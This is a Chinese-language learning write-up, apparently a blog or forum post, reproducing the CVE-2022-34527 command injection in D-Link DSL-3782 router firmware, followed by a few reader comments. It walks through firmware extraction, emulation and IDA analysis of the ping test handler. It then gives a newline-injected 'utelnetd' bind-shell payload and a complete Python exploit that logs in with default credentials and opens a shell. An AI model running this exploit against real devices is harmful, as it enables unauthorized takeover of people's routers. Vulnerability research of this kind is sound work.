-
-
命令注入漏洞CVE-2022-34527复现（学习记录）
-
2023-7-23 23:37
-
0x01 漏洞信息
- CVE编号：CVE-2022-34527
- 漏洞描述：D-Link DSL-3782 v1.03 and below was discovered to contain a command injection vulnerability via the function byte_4C0160.
- 设备型号：D-Link DSL-3782
- 固件版本：DSL-3782_A1_EU_1.01
- 厂商官网：http://www.dlink.com.cn/
- 固件地址：https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip
漏洞披露的信息很模糊，只是说D-Link DSL-3782 v1.03及以下版本中存在一个命令注入漏洞，相关的函数为byte_4C0160。
若是在IDA中，byte_4C0160应该是一个字符串，IDA中的未知函数是sub_xx格式。
本文中复现的版本是D-Link DSL-3782 v1.0。
0x02 固件分析
2.1 固件提取
使用binwalk对固件解包，获取文件系统。
1 | binwalk -Me DSL-3782_A1_EU_1.01_09292016.bin |
在文件系统中看到了boaroot文件夹，猜测该路由器使用的是Boa服务器。Boa服务器是一个小巧高效的web服务器，是一个运行于unix或linux下的，支持CGI的、适合于嵌入式系统的单任务的http服务器，源代码开放、性能高。作为一种单任务Web服务器，Boa只能依次完成用户的请求，而不会fork出新的进程来处理并发连接请求。但Boa支持CGI，能够为CGI程序fork出一个进程来执行。
查看系统启动文件：/usr/etc/init.d/rcS
根据启动信息，路由器的Web服务器为Boa，Web根目录为/boaroot。
在文件系统中发现了utelnetd命令，可用于验证命令注入漏洞。
2.2 固件模拟
查看完文件系统后模拟运行固件，定位到相关文件后再详细分析。根据漏洞信息说是一个命令注入，那么直接模拟固件去后台看看有没有可疑的注入点。
默认密码为admin。
0x03 漏洞分析
在后台中查找到如下页面：
根据之前的复现经验，命令执行漏洞很有可能出现在ping测试这种页面中。使用burpsuit抓包查看一下：
发现ping test 相关文件为：/cgi-bin/New_GUI/Set/Diagnostics.asp，查看一下该文件的内容。
根据文件内容判断这是在通过WebApi处理前端提交过来的数据，由前面的Burpsuit抓包的内容可知前端会将Type和Addr的数据传到服务器。查找一下关键字：Diagnostics_Entry看看传入的数据是由哪个文件处理的。
通过查找内容获得文件userfs/bin/cfg_manager，将该文件拿到IDA中分析。通过关键词查找，成功定位到函数：
分析整理一下：
通过分析可知上述代码的含义为判断前端传来的Type参数是为p还是t，对应的是Ping test和Trace route。命令执行的关键点在于byte_4C0480是否能被前端输入所控制，通过引用查看一下byte_4C0480的来源。
找到byte_4C0480的来源但是发现不能直接通过F5反汇编为伪代码，需要修正函数。在函数的开始地址处按下P修正后再F5即可得到反汇编的伪代码。
通过分析上述代码可知获取到前端输入的Addr后通过sub_46258C进行字符检查，但是检查不充分，可通过如%0a(\n)绕过。检查后使用sprintf函数拼接命令字符串并通过pthread_create传入到线程回调函数中由system函数执行。这是一个由于对前端输入数据检查不充分导致的命令执行漏洞。
0x04 漏洞复现
通过抓包查看发现POST数据的时候带着session，不能通过Repeater改包发送了，但是可以通过Intercept来更改。在Addr处使用的注入命令为：utelnetd -p 7080 -l /bin/sh
使用nc连接成功，取得shell。
0x05 漏洞EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | import requestsimport urllibimport osfrom time import sleepfrom urllib.parse import unquoteserver = "192.168.1.1"main_url = "http://192.168.1.1:80"headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", }def login(): s = requests.Session() s.verify = False url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925" resp = s.get(url,headers=headers,timeout=10) print(resp.text)def get_session_key(): s = requests.Session() s.verify = False url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp" resp = s.get(url,headers=headers,timeout=10) sessionKey = resp.text print(sessionKey) return sessionKeydef exp(sessionKey=None): cmd = "%0autelnetd -p 8090 -l /bin/sh%0a" s = requests.Session() s.verify = False params = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)} url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp" resp = s.post(url,data=params,headers=headers,timeout=100000) print(resp.text)if __name__ == '__main__': print("\n[*] Connection ",main_url); login() print("[*] Getting session key") sessionKey = get_session_key() print("[*] Sending payload") exp(sessionKey=sessionKey) print("[*] Running Telnetd Service") print("[*] Opening Telnet Connection\n") sleep(3) os.system('telnet ' + str(server) + ' 8090') |
EXP执行后成功取得shell：
0x06 复现总结
和前一篇命令执行漏洞一样，此漏洞是因为字符过滤不完全导致的命令执行漏洞。当遇到CVE漏洞信息描述的比较模糊时，模拟固件去后台看看有没有可疑漏洞点很有必要，这样可以快速定位到漏洞页面或者相关文件。
0x07 参考文章
- D-Link DSL-3782 代码注入漏洞CVE-2022-34527分析- IOTsec-Zone物联网安全社区
- https://github.com/1160300418/Vuls/blob/main/D-Link/DSL-3782/CMDi_in_D-Link%20DSL-3782.md
- CVE-2022-34527_D-Link_DSL-3782_Router_command_injection/CVE-2022-34527_D-Link_DSL-3782_Router_command_injection.md at master · FzBacon/CVE-2022-34527_D-Link_DSL-3782_Router_command_injection (github.com)
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
|
|
|---|---|
|
|
|
|
|
|
|
|
学习了，感谢分享
|
|
|
|
|
|
|
|
|
这是用的FirmAE，可以去GitHub下载 |
|
|
|
|
|
|
|
|
|
|
|
输入ip地址后，点击Runtest按钮抓包。 |
